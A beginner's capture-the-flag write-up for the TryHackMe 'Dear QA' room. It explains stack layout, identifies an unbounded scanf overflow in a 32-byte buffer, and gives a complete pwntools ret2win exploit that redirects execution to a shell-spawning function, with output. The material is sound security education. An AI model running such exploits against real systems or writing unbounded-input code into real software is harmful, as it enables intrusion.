> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# TryHackMe Dear QA Writeup: A Beginner's ret2win Buffer Overflow
- URL: https://taiwanding.com/en/tryhackme-dear-qa-writeup/
- Published: 2025-10-29T07:35:55.000Z
- Updated: 2026-07-15T02:50:07.000Z
- Author: Kevin Chen
- Tags: #en, #en-ctf

## 📋 Target Info

- Target IP: `10.201.72.213`
- Port: `5700`
- Binary: `DearQA-1627223337406.DearQA` (ELF 64-bit)
- Goal: use a buffer overflow to execute the `vuln()` function and pop a shell
- Room link: [https://tryhackme.com/room/dearqa](https://tryhackme.com/room/dearqa?ref=taiwanding.com)

## 🔍 Step 1: File Analysis

### Checking the binary's architecture

```bash
file DearQA

```

Output:

```
DearQA: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=8dae71dcf7b3fe612fe9f7a4d0fa068ff3fc93bd, not stripped

```

**Binary Architecture**: `x64` (a.k.a. `x86-64`)

### Why is it x64?

Looking at the decompiled code (the detailed decompilation steps actually come further down, so treat this as supporting evidence), a couple of key clues stand out:

1. **Register names**: it uses `rsp` and `rbp` (64-bit), not `esp` and `ebp` (32-bit)
2. **Pointer size**: it uses the `__int64` type, so pointers are 8 bytes

## 📖 Pwn Fundamentals: Understanding the Stack

> This section is a full beginner's primer to help you understand how buffer overflows actually work.

### What is the Stack?

When a program runs, it sets up a region of memory called the **Stack**. Picture the stack like a pile of plates:

```
┌──────────────────┐  ← high address (0x7fff...)
│                  │
│    Stack region   │
│  (grows downward) │
│                  │
└──────────────────┘  ← low address (0x0000...)

```

### What does "grows downward" mean?

Memory addresses are like house numbers, and a bigger number means a "higher address". When a program needs more stack space, it extends toward **lower addresses**:

```
address 0x7fff0020  ← where the stack starts
address 0x7fff0018  ← first variable goes here
address 0x7fff0010  ← second variable (grows down)
address 0x7fff0008  ← third variable (keeps growing down)

```

**Analogy**: it's like building from the 100th floor downward to the 1st floor — the floor numbers keep getting smaller.

### The Stack layout during a function call

When `main()` is called, the stack is built up in order:

#### Step 1: the CALL instruction

```
┌─────────────────────┐
│  return address     │ ← CPU automatically pushes the return address
└─────────────────────┘

```

#### Step 2: entering the function

```
┌─────────────────────┐
│  return address     │
├─────────────────────┤
│  saved rbp          │ ← the old base pointer is saved
└─────────────────────┘

```

#### Step 3: allocating local variables

```c
char v4[32];  // needs 32 bytes of space

```

The stack **keeps growing downward**:

```
┌─────────────────────┐  high address
│  return address     │  ← rbp+8
├─────────────────────┤
│  saved rbp          │  ← rbp+0
├─────────────────────┤
│                     │
│  v4[32 bytes]       │  ← rbp-32 (allocated last, so it's at a low address)
│                     │
└─────────────────────┘  low address

```

**Key ideas**:

- Whatever goes on the stack first ends up at a high address (the return address)
- Whatever goes on later ends up at a low address (v4)
- Our input gets written starting from the low address!

## 🔍 Step 2: Decompilation Analysis

The Hex-Rays decompiled output reveals two key functions:

[Decompiler ExplorerDecompiler Explorer is an interactive online decompiler which shows equivalent C-like output of decompiled programs from many popular decompilers.![](https://taiwanding.com/content/images/icon/apple-touch-icon-2.png)Decompiler Explorer![](https://taiwanding.com/content/images/thumbnail/dogbolt.0138e8c3255b-1.png)](https://dogbolt.org/?id=e20e11fe-80b8-4ea6-adce-8d390ee248da&ref=taiwanding.com#Hex-Rays=181)

### 1\. vuln() — the hidden backdoor function

```c
//----- (0000000000400686) ----------------------------------------------------
int vuln()
{
  puts("Congratulations!");
  puts("You have entered in the secret function!");
  fflush(stdout);
  return execve("/bin/bash", 0, 0);  // ← hands you a shell directly!
}

```

**Key findings**:

- Function address: `0x400686`
- What it does: executes `/bin/bash` to give you a shell
- **The catch**: main() never calls this function!

### 2\. main() — the vulnerable main function

```c
//----- (00000000004006C3) ----------------------------------------------------
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char v4[32]; // [rsp+0h] [rbp-20h] BYREF  ← only 32 bytes!

  puts("Welcome dearQA");
  puts("I am sysadmin, i am new in developing");
  printf("What's your name: ");
  fflush(stdout);
  __isoc99_scanf("%s", v4);  // ⚠️ no length check!
  printf("Hello: %s\n", v4);
  return 0;
}

```

**Vulnerability analysis**:

- The `v4` buffer is only 32 bytes
- `scanf("%s")` has no length limit
- You can write more than 32 bytes, causing a **buffer overflow**!

### Working out the stack layout from the comments

The key hint: `[rbp-20h]` tells us v4 starts at `rbp - 0x20` (rbp - 32)

```
rbp+8   ← return address (the target!)
rbp+0   ← saved rbp
rbp-8   ← v4[24~31]
rbp-16  ← v4[16~23]
rbp-24  ← v4[8~15]
rbp-32  ← v4[0~7] (start of v4)

```

**Computing the offset**:

- Fill v4: 32 bytes
- Overwrite saved rbp: 8 bytes
- **Total**: you need 40 bytes to reach the return address

## How the Attack Works: Hijacking Program Flow

### What is the return address?

When a function finishes, it needs to know "where to go back to and keep running".

#### Normal flow:

```c
int main() {
  printf("A");
  some_function();  // ← call a function, jump away
  printf("B");      // ← once it's done, come back here!
  return 0;
}

```

The **return address** records the location "to go back to".

### Our attack strategy

#### Normal case:

```
main() runs to the end
  ↓
reads the return address (back to the system)
  ↓
program exits normally

```

#### After the attack:

```
main() runs to the end
  ↓
reads the return address (rewritten to 0x400686)
  ↓
jumps into the vuln() function!
  ↓
execve("/bin/bash") ← shell obtained!

```

### How do we "rewrite" the return address?

By abusing the `scanf` flaw and feeding it an overly long string:

```
when you enter 50 characters:
┌─────────────────────┐
│  return address     │ ← the last 8 characters land here!
├─────────────────────┤
│  saved rbp          │ ← the middle 8 characters land here
├─────────────────────┤
│  v4[32 bytes]       │ ← the first 32 characters land here
└─────────────────────┘

```

**Overflow!** We control the return address!

## Step 3: Writing the Exploit

### Why wrap the address with p64()?

Addresses are stored in memory using **little-endian** byte order:

```
address: 0x0000000000400686

❌ wrong way:
00 00 00 00 00 40 06 86

✅ correct way (little-endian):
86 06 40 00 00 00 00 00
   ↑  ↑  ↑
 low → high (reversed)

```

**pwntools' p64() handles this conversion for you automatically!**

```python
# the manual way (error-prone)
addr = b'\x86\x06\x40\x00\x00\x00\x00\x00'

# using pwntools (recommended)
from pwn import *
addr = p64(0x400686)  # automatically converts to the correct byte order

```

### The complete exploit

```python
from pwn import *

# target info
host = '10.201.72.213'
port = 5700

# address of the vuln function
vuln_addr = 0x400686

# connect
io = remote(host, port)

# build the payload
payload = b'A' * 32       # fill the 32-byte buffer
payload += b'B' * 8       # overwrite saved rbp (8 bytes)
payload += p64(vuln_addr) # overwrite the return address with vuln()

# send the payload
io.recvuntil(b'name: ')
io.sendline(payload)

# drop into a shell to run commands
io.interactive()
```

### Payload layout diagram

```
[AAAAAAAA...32 bytes...][BBBBBBBB][0x400686]
 ↑                      ↑          ↑
 fill v4                overwrite  overwrite
                        rbp        return address

```

## Step 4: Running the Exploit

### Running the script

```bash
python3 solve.py

```

### Shell obtained

```
[+] Opening connection to 10.201.72.213 on port 5700: Done
[*] Switching to interactive mode
Hello: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBB\x86\x06@
Congratulations!
You have entered in the secret function!
bash: cannot set terminal process group (653): Inappropriate ioctl for device
bash: no job control in this shell
$

```

✅ Successfully jumped into `vuln()` and got a shell!

## Step 5: Grabbing the Flag

### Finding the flag

```bash
$ ls
DearQA
flag.txt

$ cat flag.txt
THM{Redacted}

```

✅ Flag captured!

## 📚 Technical Takeaways

### Buffer overflow fundamentals

- ✅ Stack structure: understanding the "grows downward" concept
- ✅ Stack layout: return address → saved rbp → local variables
- ✅ Function calls: the CALL instruction automatically pushes the return address

## Personal Reflections

This challenge was my first-ever pwn. In every CTF I've done I always skipped the pwn challenges, but today I wanted to finally get started. Below is some of what I worked through in a discussion with Claude AI.

🎓 Common beginner questions  
Q: Why does my input land right at the low address?  
A: Because the stack grows downward! Local variables are allocated **last**, so they sit at the lowest address, while the return address — which went on the stack first — is up at a high address.

Q: Why can we control the program flow?  
A: Because we overwrote the return address. When main() hits `return`, the CPU reads the return address off the stack and jumps to it. We changed it to the address of vuln(), so the program jumps there!

Q: What if there's no convenient function like vuln()?  
A: That's where the advanced techniques come in! You can use:

- **ret2libc**: call a system function (like system())
- **ROP**: stitch together instruction gadgets already present in the program
- **Shellcode**: inject your own machine code

Q: Why use p64() instead of just writing the address directly?  
A: Because x86-64 uses little-endian, so addresses are stored reversed in memory. `p64()` automatically converts them into the correct byte order for you.

## 🎉 Conclusion

This is a very classic **ret2win**\-style challenge that perfectly demonstrates:

1. The basic principles of buffer overflow
2. The structure and behavior of the stack
3. How to hijack a program's execution flow
4. The foundational skills of exploit development